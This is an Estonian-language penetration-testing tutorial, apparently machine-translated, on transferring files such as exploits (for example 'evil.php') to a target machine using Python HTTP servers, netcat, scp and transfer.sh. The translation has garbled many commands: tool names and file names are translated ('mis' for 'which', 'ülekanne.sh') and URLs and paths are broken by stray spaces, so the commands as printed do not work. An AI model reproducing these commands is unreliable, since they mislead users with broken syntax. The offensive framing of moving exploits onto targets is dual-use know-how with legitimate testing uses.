Tungimistestimise käigus on sageli vaja ära kasutada ekspluate, pythoni skripte ja mooduleid. Kuna terminal on enamasti kasutatav tööriist, on see oluline failiedastuse põhitõdede mõistmiseks.
Pliiatsi tester peaks olema hästi varustatud erinevate nippidega, et faile kaugserverist ja ühest kataloogist teise teisaldada. Selles õpetuses käsitleme erinevaid viise failide edastamiseks käsurea abil.
1. Pythoni server
Python on põhipakett, mis on eelinstallitud peaaegu kõikidesse Debiani põhistesse süsteemidesse. Faili ühest masinast teise teisaldamiseks tehke järgmist;
Python2:
Lülitage kataloogi, kus teie fail, mille soovite teisaldada, olemas. Käivitage lihtne pythoni server. Sisestage järgmine käsk;
$ python -m SimpleHTTPServer 8080
Nüüd minge masinasse, kuhu soovite faili edastada. Faili allalaadimiseks kasutage järgmist käsku;
$ wget http: // 192.168.43.177: 8080 / fail
Ärge unustage faili IP-d, pordi numbrit ja nime asendada.
Python3:
Kõik, mis on kirjutatud python2-s, puruneb peaaegu alati python3-s. Nii uurime ka seda, kuidas faili python3 abil teisaldada.
Python3 puhul sisestage lihtsa pythoni serveri käivitamiseks järgmine käsk.
$ python3 -m http.server 8080
Faili allalaadimiseks sihtmärgile sisestage järgmine käsk;
$ wget http: // 192.168.43.177: 8080 / ära kasutada.php
2. Netcat
Netcat on võimas utiliit failide ülekandmiseks igast kaugmasinast kohalikku masinasse. Seda ei pruugi alati installida. Sisestades saate kontrollida, kas see on olemas või mitte;
$ mis netcat
Teise võimalusena sisestades;$ mis nc
Tehke netcati server järgmise käsuga;
$ nc -nlvp 8080 < evil.php
Nüüd minge sihtmasinasse ja sisestage faili allalaadimiseks järgmine;
$ nc -nv 192.168.43.177 8080> kuri.php
Asenda nc
koos netkass
ülaltoodud käskudes, kui nc ei tööta või pole õigesti installitud.
3. SCP
Turvalise kopeerimise protokoll on võimas tööriist failide edastamiseks. See on eriti kasulik, kui soovite katalooge teisaldada. Seda kasutatakse enamasti ka failide edastamiseks ssh-i kaudu.
Faili edastamiseks ssh kaudu sisestage saatmismasinas järgmine käsk;
$ scp -i uus.pem test.py ubuntu @ 18.220.68.229: / home / ubuntu
Kus -i tähistab avalikku võtit ssh-i sisselogimiseks, test.py on ülekantav fail ja / home / ubuntu on sihtkataloog, kuhu soovime faili salvestada.
Faili allalaadimiseks kaugarvutist sisestage järgmine käsk;
$ scp juur @ 192.168.43.177: / kaugkataloog / fail / kohalik / kataloog
4. Ülekanne.sh
Selle kolmanda osapoole tööriista abil saate faile edastada. See võib olla kasulik, kui teil pole avaliku IP-ga masinat ja peate ikkagi failid üle kandma. Järgmine käsk laadib faili ülekandesse.sh serverid;
$ curl --upload-file ./ fail.txt https: // ülekanne.sh / fail.txt
Faili allalaadimiseks sisestage järgmine käsk;
$ curl https: // ülekanne.sh // fail.txt -o fail.txt
Ülekanne.sh on veel väljatöötamisel ja ei pruugi alati töötada.
Järeldus
Käsurea tööriistad võimaldavad meil faile mitmel viisil edastada. Need võivad tunduda veidi keerulised, kuid nende kasutuselevõtt võimaldab faile hõlpsalt hallata, eriti kui GUI-valikut pole saadaval.